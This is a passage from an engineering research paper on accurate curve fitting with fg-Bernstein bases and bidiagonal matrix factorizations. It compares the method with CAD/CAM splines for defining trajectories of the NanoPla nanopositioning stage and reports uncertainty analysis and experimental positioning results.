experimentally studied. For the experiments, the NanoPla is set to stop at certain positions on the trajectories defined by interpolating a set of points, either with the HRA method or by using CAM software. The contribution of the fitting errors to the final position of the NanoPla in each case is assessed. Figure 4 presents a diagram of the procedure followed in this work.\n\n4. Accurate Curve Fitting with Shape-Preserving Representations: HRA Method\n\nIn this section, the HRA method for curve fitting is presented. Section 4.1 introduces HRA and a factorization of square strictly totally positive (STP) matrices, which allows for solving HRA linear systems with these matrices. Section 4.2 introduces the class of fg-Bernstein bases and the mentioned bidiagonal factorization of their STP collocation matrices. Section 4.3 presents a procedure for accurate curve fitting by means of interpolation and least-squares approximation using algorithms for solving linear systems with HRA.\n\n4.1. High Relative Accuracy and Bidiagonal Factorizations\n\nLet us recall that a quantity X can be obtained with HRA if the relative error of the computed value $X ˜$ can be bounded, as follows:\n$\| \| X − X ˜ \| \| \| \| X \| \| < C u ,$\nwhere C is a positive constant independent of the arithmetic precision and u is the unit round-off. An algorithm can be computed with HRA when it only uses products, quotients, the addition of numbers with the same sign, or subtraction of initial data (see ). Performing an algorithm with HRA is a very desirable goal. HRA implies that the relative errors of the computations are of the order of the machine precision, independent of the size of the problem. This goal is difficult to assure, although, in recent years, there have been some advances; in particular, in the field of numerical linear algebra. Let us recall that a matrix is totally positive (TP) if all of its minors are nonnegative and it is STP if all of its minors are positive (see ). Up until now, computations with HRA have been guaranteed only for a few classes of STP matrices. Previously, a reparametrization of the matrices was needed.\nNeville elimination is a particularly important procedure when studying TP matrices. Neville elimination is an alternative to Gaussian elimination and makes zeros in a column of a matrix by adding to a given row the previous one multiplied by an appropriate coefficient called a multiplier (see [18,19,20]). Neville elimination has been used to characterize TP and STP matrices (see [18,19]). From Theorem 4.1 of and p. 116 of , a given matrix A is STP if and only if the Neville elimination of A and $A T$ can be performed without row exchanges, all the multipliers of the Neville elimination of A and $A T$ are positive, and all the diagonal pivots of the Neville elimination of A are positive.\nAccording to , together with the arguments of p. 116 of , an STP matrix $A ∈ R ( n + 1 ) × ( n + 1 )$ can be factorized into the form\n$A = F n F n − 1 ⋯ F 1 D G 1 ⋯ G n − 1 G n ,$\nwhere $F i$ and $G i$ are the lower and upper triangular bidiagonal matrices of the form\n$F i = 1 0 1 ⋱ ⋱ 0 1 m i + 1 , 1 1 ⋱ ⋱ m n + 1 , n + 1 − i 1 , G i T = 1 0 1 ⋱ ⋱ 0 1 m ^ i + 1 , 1 1 ⋱ ⋱ m ^ n + 1 , n + 1 − i 1$\nand $D = diag p 1 , 1 , … , p n + 1 , n + 1$. The entries $m i , j$ and $m ^ i , j$ are the multipliers of the Neville elimination of A and $A T$, respectively, and the diagonal entries $p i , i$ are the diagonal pivots of the Neville elimination of A. In fact, a unique bidiagonal factorization can be obtained for nonsingular TP matrices (see [19,20]).\nBidiagonal factorizations have played a crucial role in deriving algorithms with HRA for STP matrices. When the bidiagonal factorization of the considered matrix is obtained with HRA, the computation of the inverse matrix, its eigenvalues and singular values, the solutions of some linear systems, and the computation of its $Q R$ factorization can be also performed with HRA, using the algorithms presented by Koev in [16,21].\nTable 1 illustrates the accuracy of the computed solutions of $A x = c$ when using Koev’s algorithm with the bidiagonal factorization of A. For different values of n, collocation matrices $A n$ of Bernstein polynomials of degree n on $[ 0 , 1 ]$ corresponding to\n$A n : = n − 1 j − 1 t i j − 1 ( 1 − t i ) n − j 1 ≤ i , j ≤ n , 0 < t 1 < ⋯ < t n < 1 ,$\nhave been considered at equidistant parameters. The solution of the systems $A n x = c n$, where $c n$ is a vector formed by random numbers, have been obtained. The linear systems have also been solved by using Mathematica with a precision of 100 digits; this solution was considered to be exact. Furthermore, two approximations have been computed with Matlab, the first one using the Matlab command \\ and the second one using Koev’s algorithm with the bidiagonal factorization of $A n$.\nAs shown in Table 1, the accuracy of the obtained results when using the bidiagonal factorization of the coefficient matrix and Koev’s algorithm does not depend on the dimension of the considered problem. It is much better than the precision obtained when using the usual resolution with the Matlab command \\.\n\n4.2. The Class of Fg-Bernstein Bases\n\nIn CAGD, polynomial curves are usually represented in terms of the Bernstein basis of the space of polynomials of degree less than or equal to n, defined on $I = [ a , b ]$ by\n$( B 0 n , … , B n n ) , B k n ( t ) : = n k t − a b − a k b − t b − a n − k , t ∈ I , k = 0 , … , n .$\nIn , this basis was generalized as follows: let us suppose that $f , g : I → R$ are nonnegative continuous functions. For a given $n ∈ N$, the corresponding fg-Bernstein basis of order n is defined as\n$( u 0 n , … , u n n ) , u k n ( t ) : = n k f k ( t ) g n − k ( t ) , t ∈ I , k = 0 , … , n .$\nTheorem 2 of proves that, given nonnegative functions $f , g : I → R$ such that $f ( t ) ≠ 0$, $g ( t ) ≠ 0$, $∀ t ∈ ( a , b )$, and $f / g$ is a strictly increasing function, then\n$A : = n j − 1 f j − 1 ( t i ) g n − j + 1 ( t i ) 1 ≤ i , j ≤ n + 1 , a < t 1 < ⋯ < t n + 1 < b$\nis STP. Moreover, in Theorem 3 of , the following bidiagonal decomposition (3) of the collocation matrices (8) was deduced\n$A = F n F n − 1 ⋯ F 1 D G 1 ⋯ G n − 1 G n ,$\nwhere $F i$ and $G i$, $1 ≤ i ≤ n$, are lower and upper triangular bidiagonal matrices of the form (4) and $D = diag p 1 , 1 , … , p n + 1 , n + 1$. The entries $m i , j , m ^ i , j$, and $p i , i$ are given by\n$m i , j = g n − j + 1 ( t i ) g ( t i − j ) g n − j + 2 ( t i − 1 ) ∏ k = 1 j − 1 f ( t i ) g ( t i − k ) − f ( t i − k ) g ( t i ) ∏ k = 2 j f ( t i − 1 ) g ( t i − k ) − f ( t i − k ) g ( t i − 1 ) , m ^ i , j = n − i + 2 i − 1 f ( t j ) g ( t j ) , 1 ≤ j < i ≤ n + 1 , p i , i = n i − 1 g n − i + 1 ( t i ) ∏ k = 1 i − 1 g ( t k ) ∏ k = 1 i − 1 f ( t i ) g ( t k ) − f ( t k ) g ( t i ) , 1 ≤ i ≤ n + 1 .$\nLet us observe that a sufficient condition to obtain the bidiagonal decomposition of A with HRA is that the expressions $f ( t i )$, $g ( t i )$, and $f ( t i ) g ( t k ) − f ( t k ) g ( t i )$, for all $k < i$, can be computed with HRA.\nThere are many interesting choices of functions f and g allowing the definition of fg-Bernstein bases whose collocation matrices can be factorized as in (9) (see, e.g., Section 3 of ).\n\n4.3. Curve Fitting with Fg-Bernstein Bases\n\nThis section presents an accurate method to solve interpolation and approximation problems using the fg-Bernstein bases introduced in Section 4.2.\nThe approach of the problem is as follows. Given $I = [ a , b ]$ and a set of parameters $a < t 1 < ⋯ < t l + 1 < b$, it is desirable to compute a function\n$p ( t ) : = ∑ j = 1 n + 1 c j n j − 1 f j − 1 ( t ) g n − j + 1 ( t ) , t ∈ I ,$\nexpressed in terms of a fg-Bernstein basis of order n, as defined in (7), such that\n$p ( t i ) = p i , 1 ≤ i ≤ l + 1 .$\nIn order to compute the coefficients of $p ( t )$ with respect to the considered fg-Bernstein basis, the linear system $A c = p$ has to be solved, where\n$A : = n j − 1 f j − 1 ( t i ) g n − j + 1 ( t i ) 1 ≤ i ≤ l + 1 ; 1 ≤ j ≤ n + 1$\nis the collocation matrix of the fg-Bernstein basis corresponding to the nodes $t 1 < ⋯ < t l + 1$, $p = ( p 1 , … , p l + 1 ) T$ is the data vector, and $c = ( c 1 , … , c n + 1 ) T$ is the vector with the coefficients to be calculated. Using Theorem 2 of , we can easily deduce that A is STP.\nLet us observe that, in an interpolation problem, $l = n$; that is, the number of data points $( p 1 , … , p l + 1 )$ is equal to the number of the coefficients $( c 1 , … , c n + 1 )$. Moreover, the coefficient matrix is nonsingular and the linear system has a unique solution.\nNow, let us describe how to solve this interpolation problem by means of the bidiagonal decomposition (8) of the collocation matrix of the fg-Bernstein basis.\nIn , an efficient algorithm for computing the solution of systems $A c = p$ was presented. In , the library “TNSolve” was made available, which contains an implementation of the mentioned algorithm for use with Matlab (or Octave). Its computational cost is $O ( n 2 )$ elementary operations and requires, as input arguments, the bidiagonal factorization (3) of the matrix A and the vector p of the linear system $A c = p$. Furthermore, a Matlab (or Octave) function, named “TNBDA”, has been implemented, which takes as input arguments a sequence of parameters $a < t 1 < t 2 < ⋯ < t l + 1 < b$ and computes the bidiagonal factorization (9) of the collocation matrix A. Section 6.1 shows the accuracy of the computed solutions of $A c = p$ when using the function “TNSolve” with the bidiagonal factorization of the collocation matrix of the fg-Bernstein basis given by “TNBDA”.\nOn the other hand, let us observe that, in an approximation problem, $l > n$; that is, the number of data points $( p 1 , … , p l + 1 )$ is greater than the number of the coefficients $( c 1 , … , c n + 1 )$. In this case, the polynomial, $p ( t )$, given in (11), is the solution to the least squares problem if it minimizes the sum of the squares of the deviations from the data\n$∑ i = 1 l + 1 \| p i − p ( t i ) \| 2 .$\nComputing the coefficients $c j$ of this polynomial $p ( t )$ is equivalent to solving, in the least squares sense, the overdetermined linear system $A c = p$, where A is defined in (12) and $p = ( p 1 , … , p l + 1 ) T$ is the data vector.\nThe unique solution of the problem is given by\n$A T A c = A T p .$\nSolving the previous normal Equation (13) is a worse-conditioned problem than computing the solution through the QR decomposition of the coefficient matrix A, which is the usual approach. Now, following the approach of , let us describe how to solve the approximation problem by means of the bidiagonal decomposition of the collocation matrix of the fg-Bernstein basis.\nIn , an efficient algorithm for computing the $Q R$ decomposition of an STP matrix A was presented. In , the Matlab (or Octave) library “TNQR”, containing an implementation of the above-mentioned algorithm, is available. Assuming that the bidiagonal factorization of A is known, “TNQR” computes the matrix Q and the bidiagonal factorization of the matrix R with HRA. Now, following the approach of , let us describe how to solve the least squares problem by means of a bidiagonal decomposition for rectangular matrices that generalizes the bidiagonal factorization described before when $l = n$ (i.e., in the square case) and the $Q R$ decomposition provided by “TNQR”.\nIn order to compute the solution of the least squares problem, let us define the $R ( l + 1 ) × ( n + 1 )$ matrix M such that\n$M i , i : = p i , i , i = 1 , … , n + 1 , M i , j : = m i , j , j = 1 , … , n + 1 ; i = j + 1 , … , l + 1 , M i , j : = m ^ i , j , i = 1 , … , n ; j = i + 1 , … , n + 1 ,$\nwhere the $m i , j$, $m ^ i , j$, and $p i , i$ are obtained as in (10). Then, using “TNQR”, the $Q R$ decomposition of A can be obtained, such that\n$A = Q R 0 ,$\nwhere $Q ∈ R ( l + 1 ) × ( l + 1 )$ is an orthogonal matrix and $R ∈ R ( n + 1 ) × ( n + 1 )$ is an upper triangular matrix with positive diagonal entries. According to Section 1.3.1 in , the solution of the least squares problem is obtained from\n$d 1 d 2 = Q T p , R c = d 1 ,$\nwhere $d 1 ∈ R n + 1$, $d 2 ∈ R l − n$. The matrices Q and R have a special structure, as described in . In particular, R is nonsingular and TP. In order to obtain the solution of the upper triangular system $R c = d 1$, the routine “TNSolve” of has been used, which performs the bidiagonal decomposition of the upper triangular TP matrix R. The numerical experiments in Section 6.2 show that the accuracy of the computed solutions does not depend on the size of the considered problem.\n\n5. Positioning uncertainty of the NanoPla\n\nThe total NanoPla positioning error at a certain point of the trajectory ($e p o s i t i o n$) results from the sum of the positioning error of the system ($e N a n o P l a$) and the error in the definition of the trajectory ($e t r a j e c t o r y$), as represented in Equation (15)\n$e p o s i t i o n = e N a n o P l a + e t r a j e c t o r y .$\nTherefore, it is convenient to analyze and calculate the positioning uncertainty of the NanoPla system, in order to confine the curve fitting error in the trajectory definition (Ce), such that it does not have a significant influence on the final positioning error.\nThe NanoPla control system inputs are the X and Y coordinates of the desired position and the laser system readouts of the actual NanoPla position. In addition, rotation of the moving platform around the Z-axis is controlled to avoid laser system misalignment. The design and control system of the NanoPla has been optimized to correct systematic errors and minimize random positioning errors. The control strategy is computed in Simulink (Matlab), which outputs the phase voltages to be generated for each linear motor. These instructions are sent by a serial communication interface (SCI) to four digital motor control (DMC) kits of Texas Instruments. Each kit drives the phase voltages of one linear motor by pulse width modulation signals. The DMC kit works with 32-bit data and the input to the high-resolution PWM (HRPWM) module is a fixed point of 19 bits ($11 + 8$) bits. When the current flows through the motor’s coils, each motor generates a horizontal force and a vertical force. The four motors produce planar motion and are placed in parallel pairs; the first pair generates a force in the X-axis and the second pair in the Y-axis. These forces produce a displacement of the NanoPla, ultimately to the desired position. The vertical forces generated by the four motors help the air-bearings to levitate the platform. During computation of the control task, real numbers are represented with finite precision . In Figure 5, a block diagram of the control system is represented, including the data type of the transmitted information, which affects the resolution of the system.\nIn Simulink, data are represented in double-precision floating-point format (64 bits) and, in this case, the rounding operation has no influence on the calculated results. The errors derived from the resolution of the data type at the SCI are also negligible. Nevertheless, the resolution of the HRPWM driving the phase currents contributes to the final positioning uncertainty. The other main contributors are the noise of the laser system, the noise of the generated currents, and the vibrations of the NanoPla. These errors cause root mean square (RMS) deviations of the positioning error in the open-loop, which can be experimentally measured. In addition, the geometrical errors of the 2D laser system have been characterized by a self-calibration procedure, as defined in , and corrected in the measurements. The uncertainty of the calibrated laser system also contributes to the final positioning uncertainty. Even though the laser system resolution is included inside the standard uncertainty of the laser system, its value is shown separately in the table, so it can be compared to the other contributor’s magnitudes. The calculation of the positioning uncertainty and its contributors are represented in Table 2, according to .\nThe resultant positioning uncertainty in the X–Y-plane, $U X Y$ ($k = 2$), was equal to 0.50 $μ$m over the working range of 50 mm × 50 mm. Additionally, it is worth mentioning that, when working in a closed-loop, the control system tends to correct the positioning error caused by the resolution of the system , which results in a difference between position feedback and position reference, generally smaller than 0.02 $μ$m, and a RMS positioning noise, of approximately ±0.20 $μ$m, whose exact values depend on the position and the controller configuration. The error introduced by the definition of the NanoPla trajectory should be confined, in order not to significantly increase the final positioning uncertainty. A confined fitting error of 0.05 $μ$m or lower increases the final positioning uncertainty by less than 0.01 $μ$m, which is considered acceptable for the requirements of the NanoPla.\n\n6. Analysis of the Curve Fitting Errors\n\nThe target of this section is to perform curve fitting on a set of given data points using the HRA method and CAD/CAM software, in order to confirm that the HRA method provides a better fit. In this study, the curves that defined the trajectory of the NanoPla were calculated by curve fitting a set of data points $p 1 , ⋯ , p l + 1$ with equidistant parameter values $t 1 , ⋯ , t l + 1$, belonging to a cycloid curve of radius 1 mm, as defined in (2).\nCurve fitting was performed using the HRA method and CAD/CAM systems with the requirement of obtaining a fitting error lower than 0.05 $μ$m along the whole trajectory, in order to fulfill the NanoPla precision requirements without compromising the number of required data points and control points of the fitting curve. In the first subsection, the curves are obtained by interpolating sets of data points with different dimensions; that is, for different values of $l + 1$. The smallest possible set of points required to fulfill the tolerance was obtained for each method. In the second subsection, the curves were obtained by performing least-squares approximations of sets of data points for different values of $l + 1$ and the minimum number of control points required to fulfill the tolerance is obtained for each method. In both cases, the results obtained with the HRA method and with the commercial CAD/CAM software were analyzed.\n\n6.1. Curve Fitting By Interpolation\n\nAs previously noted, interpolation consists of finding a curve through $l + 1$ data points $p 1 , … , p l + 1$ with parameter values $t 1 , … , t l + 1$. For this reason, when interpolating through a set of points using an exact method, the interpolation errors at these points were zero. Nevertheless, at non-data intervals (data between interpolation points), the interpolation errors can be calculated as the difference between the nominal parametric curve and the interpolated curve, when the equation of the nominal curve is known. In addition, as mentioned in Section 2, in an interpolation problem, the number of control points equals the number of given data points ($l = n$). Thus, in this subsection, the number of data points and control points will be indistinctly referred to as $n + 1$.\nFor comparison, the curve trajectory was generated by three exact interpolation methods: linear interpolation, CAD/CAM system interpolation, and the HRA method presented in Section 4. The interpolation results of some commonly used CAD and CAM systems have been compared and, even though their results slightly differed, the errors had similar magnitude; thus, the difference was not significant. Therefore, the results of CAM software have been used as a reference in this subsection. On the other hand, interpolation with the HRA method was performed using two different fg-Bernstein bases. One of them is the polynomial basis obtained with $f ( t ) = t$ and $g ( t ) = 1 − t$, $t ∈ [ 0 , 1 ]$ (HRA interpolation with this basis will be called HRA IB1) and the other one is the trigonometric basis obtained with $f ( t ) = sin ( Δ + t ) / 2$ and $g ( t ) = sin ( Δ − t ) / 2$ , $t ∈ [ − Δ , Δ ]$ and $Δ = 1.57$ (HRA interpolation with this basis will be called HRA IB2). Thus, interpolation with the HRA method was applied as follows: Firstly, for different values of $n + 1$, collocation matrices at equidistant parameters in the interior of the interval domain of the selected fg-Bernstein bases were considered. Secondly, in order to obtain the $n + 1$ control points, the linear system $A c = p$ was computed by applying the interpolation method explained in Section 4, when $l = n$. Knowing the control points, the parametric curve was evaluated and the deviations of the interpolated curve from the cycloidal nominal were obtained by computing the distance at equally distributed points along the profile curve.\nFigure 6a shows the resultant curves for the three interpolation methods, for $n + 1 = 7$; that is, seven interpolation points and seven control points. For simplification and due to symmetry, only half of the curves are represented. As can be seen, the greatest interpolation errors occurred when applying linear interpolation. With this method, the maximum interpolation errors appear at the middle zone of the intervals, whose interpolating points were further from each other (interval between $p 3$ and $p 4$). Nevertheless, when applying CAM/CAD system spline interpolation and the HRA method, the interpolation errors were reduced. In both cases, the maximum interpolation errors appeared in the middle zones of the first intervals. The first non-data interval is shown in Figure 6b.\nThe CAD and CAM systems spline bases are usually unknown for the user. In other works, such as , the interpolation algorithm had to be experimentally extracted to simulate the interpolation errors. In this work, the interpolation errors were calculated graphically in the CAM program. However, the interpolation errors of linear interpolation and the HRA method were calculated analytically. In both cases, the errors of the interpolated curve from the cycloidal nominal were obtained by computing the distance at equally distributed points along the profile curve. The interpolation errors obtained by the HRA method IB1, along the whole range of the cycloid, are represented in Figure 7, for $n + 1 = 7$, 9, and 11. As shown, the maximum interpolation errors occurred in the first interval, then decreased by more than half.\nIn Table 3, the fitting errors of the interpolated curves for the number of interpolated points $n + 1 = 7$, 9, 11, and 21 are represented. It was observed that, for this specific curve, the first and second non-data intervals were the most critical, because they contained the greatest fitting errors when interpolating with CAM system splines, as well as with the HRA method. For this reason and for simplification, only these intervals are represented in Table 3. As can be seen, linear interpolation always presented the worst results. In addition, for the same number $n + 1$ of interpolation points, the HRA method presented a considerably smaller error than the CAM system splines. When interpolating with HRA method IB1, for a number of interpolation points higher than 11, the resultant errors became negligible for the NanoPla application (Ce < 0.05 $μ$m); while, in the HRA method IB2, 16 interpolation points were required. In contrast, it has been verified that more than 49 interpolation points are necessary to achieve an error lower than 0.05 $μ$m at the non-data intervals, when interpolating with CAM/CAD system splines, and more than 250 interpolation points are needed when applying linear interpolation. Therefore, it can be inferred that the HRA method is capable of achieving accurate curve fitting while interpolating a smaller number of data points, in comparison with commonly used CAD/CAM systems.\n\n6.2. Curve Fitting by Least Squares Approximation\n\nLeast-squares approximation is not an exact method; that is, the resultant fitting curve does not necessarily contain the given data points, but only approximately fits them. In an approximation problem, the number of control points can be externally defined and is directly related to the fitting errors. As mentioned above, the number of control points defines the complexity of the fitting curve: typically, a smaller number of control points results in a simpler curve, but also in greater fitting errors. Nevertheless, an elevated number of control points does not assure accurate fitting, as some control points may be redundant or inadequate . In addition, in an approximation problem, the fitting tolerance is defined as the maximum permitted error between the given data points and the resultant approximation curve. Nevertheless, the error between the smooth curve and the nominal curve can be greater over non-data intervals. For this reason, the dimension $l + 1$ of the set of given data points has to be large enough such that the fitting error does not increase significantly over the non-data intervals.\nFor comparison, curve trajectories were generated by two least-squares approximation methods: CAD/CAM system approximation and the HRA method presented in Section 4. In CAD/CAM systems, when curve fitting by approximation, a tolerance for the fitting error must be defined by the designer. The smaller this tolerance is, the greater the number of control points the approximation curve requires. Similar to the interpolation operation, the approximation operation was performed using some of the most commonly used CAM/CAD systems and the results were compared. Even though the obtained results were similar, some programs presented more information to the user about the approximation function than others. For example, in some programs the approximation spline degree can be selected, the points in the curve where the maximum fitting error occurs are shown, and the magnitude of the consequent error, along with the magnitude of the average fitting error along the whole curve, is calculated. In this section, the results of CAD software which calculated the maximum fitting error (confined error, Ce) and graphically showed its location was used as a reference. On the other hand, the least squares approximation with the HRA method was performed using two different fg-Bernstein bases, the same as those in the previous subsection. One of them is the polynomial basis obtained with $f ( t ) = t$ and $g ( t ) = 1 − t$, $t ∈ [ 0 , 1 ]$ (HRA least-squares approximation with this basis will be called HRA LSB1), and the other one is the trigonometric basis obtained with $f ( t ) = sin ( Δ + t ) / 2$ and $g ( t ) = sin ( Δ − t ) / 2$ , $t ∈ [ − Δ , Δ ]$ and $Δ = 1.57$ (HRA least-squares approximation with this second basis will be called HRA LSB2). The least squares approximation with the HRA method was carried out as follows: first, for different values of $l + 1$, collocation matrices at equidistant parameters in the interior of the interval domain of the selected fg-Bernstein bases were considered. Second, in order to obtain the $n + 1$ control points, the linear system $A c = p$ was computed by applying the interpolation method explained in Section 4, with $l > n$. Knowing the control points, the parametric curve was evaluated and the maximum fitting error of the approximated curve from the cycloidal nominal was obtained as the confined error, by computing the maximum distance at equally distributed points along the profile curve.\nAccording to the positioning accuracy of the NanoPla, the fitting tolerance was set to be smaller than 0.05 $μ$m for the approximation operation in every case. Table 4 represents the number of control points that were required to generate a fitting curve from the given data points, $p 1 , … , p l + 1$, by least squares approximation, with the reference CAD method and the HRA method. The resultant confined error (Ce)—that is, the maximum fitting error—obtained for every method is also represented in the table. In the case of the CAD method, the confined error was calculated and provided by the software. For the HRA method, the confined error was analytically calculated. In addition, the results of the HRA method are shown for the two different bases, HRA LSB1 and HRA LSB2.\nIt can be observed that, in every case, with the same set of given data points, the HRA methods were capable of obtaining an approximation curve within a tolerance of 0.05 $μ$m with fewer control points, in comparison with the CAD method. In addition, it is worth noting that, for the HRA methods, when the number of given data points increased, the number of control points required to fulfill the tolerance constraint remained practically constant, in contrast to the CAD method. Thus, it can be inferred that the HRA method provided a better approximation, requiring fewer control points, and that it did not define redundant control points.\n\n7. Experimental Results\n\nThe previous section showed that the HRA method is capable of performing accurate curve fitting requiring fewer data points in the interpolation operation and with a minimum number of control points in a least-squares approximation, in comparison with CAD/CAM systems. The resultant fitting curve can be used to define the trajectory of a positioning system, such as the NanoPla. This section experimentally analyzes the relevance of the trajectory definition errors in the final positioning error of the NanoPla when the trajectory is defined by fitting a certain set of data points.\nThe NanoPla was required to displace itself to positions along a defined trajectory with minimum positioning error. As was assessed in Section 5, the positioning uncertainty $U X Y$ ($k = 2$) of the NanoPla was $0.50$ $μ$m. Therefore, trajectory definition errors lower than $0.05$ $μ$m were considered to be negligible in this application. In order to analyze the contribution of the trajectory definition errors to the final positioning error of the NanoPla, the trajectory was defined by interpolating a set of points using both the CAM/CAD system methods and the HRA method. Then, the position of the NanoPla at certain points of the trajectories was compared to the nominal curve trajectory position.\nIn Section 6, it was stated that the interpolating errors when calculating a cycloid (r = 1 mm) based on 11 points were lower than $0.05$ $μ$m, when using the HRA method. Nevertheless, the errors were up to $4.5$ $μ$m when interpolating with CAM system splines. In this experiment, the trajectory of the NanoPla was defined by the curves resulting from interpolating a set of 11 points of a parametric cycloid (r = 1 mm) separated by equal intervals of t ($△ t = 2 π / 10$ rad). The interpolation was performed by CAM system splines and by the HRA method, in order to verify the interpolating error effect when implementing the trajectories in the NanoPla. In order to observe the effect of the positioning noise of the NanoPla in a closed-loop, the control system of the NanoPla was set to keep the moving platform still at certain positions in the trajectories. The resultant X,Y positions of the NanoPla were experimentally recorded for 30 s, with a readout taken every $0.12$ seconds.\nFigure 8 represents the curve trajectories defined by interpolating 11 data points ($p 1 , … , p 11$) with the HRA method and with CAM splines; in addition, the parametric curve is also included. Due to the fact that the fitting errors occurred at a micrometer scale, they cannot be observed in Figure 8a. For clarification, Figure 8b,c show an amplification of the first and second non-data intervals, where the greatest fitting errors take place. Figure 8b,c also include the 250 experimental readouts of the laser system which represents the positions of the platform where the control system was set to stay still at points belonging to the trajectory of the curve, as defined by the HRA method ($T P 1 H R A$ , $T P 2 H R A$, $T P 3 H R A$, and $T P 4 H R A$; magenta in the figure) and by CAM system splines ($T P 1 C A M$, $T P 2 C A M$ , $T P 3 C A M$, and $T P 4 C A M$; blue in the figure). These trajectory points (TP) were selected in the non-data intervals of the curve, where the greatest fitting errors occurred, as can be seen in the figures. Therefore, they present a worst-case scenario.\nIn Figure 8b,c, it can be seen that the HRA method trajectory was almost coincident with the parametric curve, while the CAM trajectory presented a larger fitting error. At the trajectory points (TP) where the NanoPla was set to keep still, the positioning error was the result of the sum between the positioning error of the NanoPla and the errors in the definition of the trajectory (Equation (15)), which were the curve fitting errors. In Table 5, the NanoPla positioning error and the trajectory definition error at each trajectory point, as well as the total positioning error, are represented. The NanoPla positioning error at the TPs is expressed as the sum of a constant value and a standard deviation. The constant value is the difference between the laser system position feedback and the reference position in the controller, calculated by averaging all laser readouts at the TP. The standard deviation includes the RMS positioning noise and the calibrated laser system uncertainty.\nThe interpolating errors for $T P 1 H R A$ and $T P 2 H R A$ were 0.04 $μ$m and 0.03 $μ$m, respectively; as can be seen from Figure 8b, they did not significantly affect the final positioning accuracy. On the contrary, the interpolating errors of $T P 1 C A M$ and $T P 2 C A M$ were 3.1 $μ$m and 3.8 $μ$m, respectively, and they had a significant effect in the total positioning error of the NanoPla, being the greatest contributor. Similarly, in the second non-data interval (Figure 8c), the interpolating error for $T P 3 H R A$ and $T P 4 H R A$ was 0.007 $μ$m in both cases, which was negligible in comparison to the NanoPla positioning error. The interpolating errors of $T P 3 C A M$ and $T P 4 C A M$ were 4.5 $μ$m in both cases. As in the first interval, they were the greatest contributor to the final positioning error of the NanoPla.\n\n8. Conclusions\n\nIn nanopositioning systems, such as the NanoPla, the final positioning accuracy can be affected by errors in the definition of the trajectory. Hence, this work proposed the use of a novel method for the parametric representation of curves, allowing for curve fitting with high relative accuracy for the definition of curve trajectories. This method, which uses collocation matrices of fg-Bernstein bases, is applicable in CAGD and greatly improves the accuracy in trajectory definition by curve fitting, when compared to traditional CAD/CAM methods implemented in CAD/CAM software.\nIn this work, the positioning uncertainty of the NanoPla ($k = 2$) was calculated to be 0.50 $μ$m. Thus, the trajectory definition errors were required to be lower than 0.05 $μ$m, in order not to significantly affect the final positioning accuracy of the system. Sets of given data points were curve fitted by interpolation and least-squares approximation, using both the proposed HRA method and CAD/CAM software, with the requirement of fulfilling the tolerance of 0.05 $μ$m. Finally, it was experimentally verified that, when defining the trajectory by interpolating a given set of 11 data points with the HRA method, the fitting errors at non-data intervals were negligible, in comparison to the NanoPla positioning uncertainty. In contrast, when defining the trajectory with CAM splines with the same set of 11 interpolation points, the interpolation errors were the greatest contributors to the NanoPla final positioning error. This work focused on the contribution of the trajectory definition errors to the final positioning accuracy of the NanoPla. In future work, the dynamic response of the NanoPla when performing a trajectory of motion will be studied.\nThe importance in this work of the fg-Bernstein bases arises from the fact that their collocation matrices admit many algebraic computations with HRA. In particular, the proposed HRA method can be applied to perform interpolation and least-squares approximation with high precision and can be considered as a modeling tool for trajectories. The benefits of the proposed HRA method that have been shown in this paper are that it is capable of performing accurate interpolation with a minimum quantity of data points and, when performing a least-squares approximation, it is capable of obtaining an accurate approximation curve with a minimum number of control points. In addition, the number of obtained control points was independent of the size of the problem. On the contrary, in CAD/CAM systems, a higher number of data points was required for accurate curve fitting and the number of control points increased with the size of the problem, which may result in redundant or inadequate control points. As a result, the proposed HRA method offers a better positioning accuracy than commonly used CAD/CAM methods when defining a trajectory by curve fitting (either by interpolation or least-squares approximation). Hence, implementing the HRA method in CAD/CAM systems would be of great interest to nanomanufacturing applications in which a nanopositioning stage is required to follow a predefined trajectory.\n\nAuthor Contributions\n\nL.D.P., M.T.G., J.A.A.G. and J.A.Y.F. developed the positioning control system of the NanoPla.; B.R.S. and E.M.M. developed the HRA method. All authors contributed to the conceptualization of the project and definition of the methodology. L.C.D.P. and B.R.S. performed the experiments and wrote the manuscript draft. All authors contributed to the editing and reviewing of the manuscript.\n\nFunding\n\nThis project was funded by the Spanish government project DPI2015-69403- C3-1-R “MetroSurf” with the collaboration of the Diputación General de Aragón—Fondo Social Europeo. Appreciation is expressed to the FPU Program of the Ministerio de Educación, Cultura y Deporte of the Spanish government, which sponsored thefirst author. Partially supported by PGC2018-096321-B-I00 (MCIU/AEI) Spanish Research Grant and by Gobierno de Aragón E$41 _ 17$R and by Feder 2014-2020 “Construyendo Europa desde Aragón”.\n\nConflicts of Interest\n\nThe authors declare no conflict of interest.\n\nReferences\n\n1. Ouyang, P.R.; Tjiptoprodjo, R.C.; Zhang, W.J.; Yang, G.S. Micro-motion devices technology: The state of arts review. Int. J. Adv. Manuf. Technol. 2008, 38, 463–478. [Google Scholar] [CrossRef]\n2. Manske, E.; Jäger, G.; Hausotte, T.; Füßl, R. Recent developments and challenges of nanopositioning and technology. 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Total Positivity, QR Factorization, and Neville Elimination. SIAM J. Matrix Anal. Appl. 1993, 14, 1132–1140. [Google Scholar] [CrossRef]\n25. Linares, M.; Goch, G.; Forbes, A.; Sprauel, J.M.; Clément, A.; Haertig, F.; Gao, W. Modelling and traceability for computationally-intensive precision engineering and metrology. CIRP Ann. Manuf. Technol. 2018, 67, 815–838. [Google Scholar] [CrossRef]\n26. Torralba, M.; Díaz-Pérez, L.C.; Valenzuela, M.; Albajez, J.A.; Yagüe-Fabra, J.A. Geometrical Characterisation of a 2D Laser System and Calibration of a Cross-Grid Encoder by Means of a Self-Calibration Methodology. Sensors 2017, 17, 1992. [Google Scholar] [CrossRef]\n27. ISO/TR 230-9. Test Code for Machine Tools. Estimation of Measurement Uncertainty for Machine Tools Test According to Series ISO 230, Basic Equations; International Organization for Standardization: Geneva, Switzerland, 2005. [Google Scholar]\n28. Díaz-Pérez, L.C.; Albajez, J.A.; Torralba, M.; Yagüe-Fabra, J.A. Vector control strategy for a Halbach linear motor implemented in a commercial control hardware. Electronics 2018, 7, 232. [Google Scholar] [CrossRef]\n29. Msaddek, B.; Bouaziz, Z.; Baili, M.; Dessein, G.; Mohsen, A. Simulation of machining errors of Bspline and Cspline. Int. J. Adv. Manuf. Technol. 2017, 9, 3323–3330. [Google Scholar] [CrossRef]\nFigure 1. Curve fitting by interpolation, where $p 1 , p 2 , p 3 , p 4 , p 5 , p 6$ are the given data and $P 1 , P 2 , P 3 , P 4 , P 5 , P 6$ are the control points.\nFigure 1. Curve fitting by 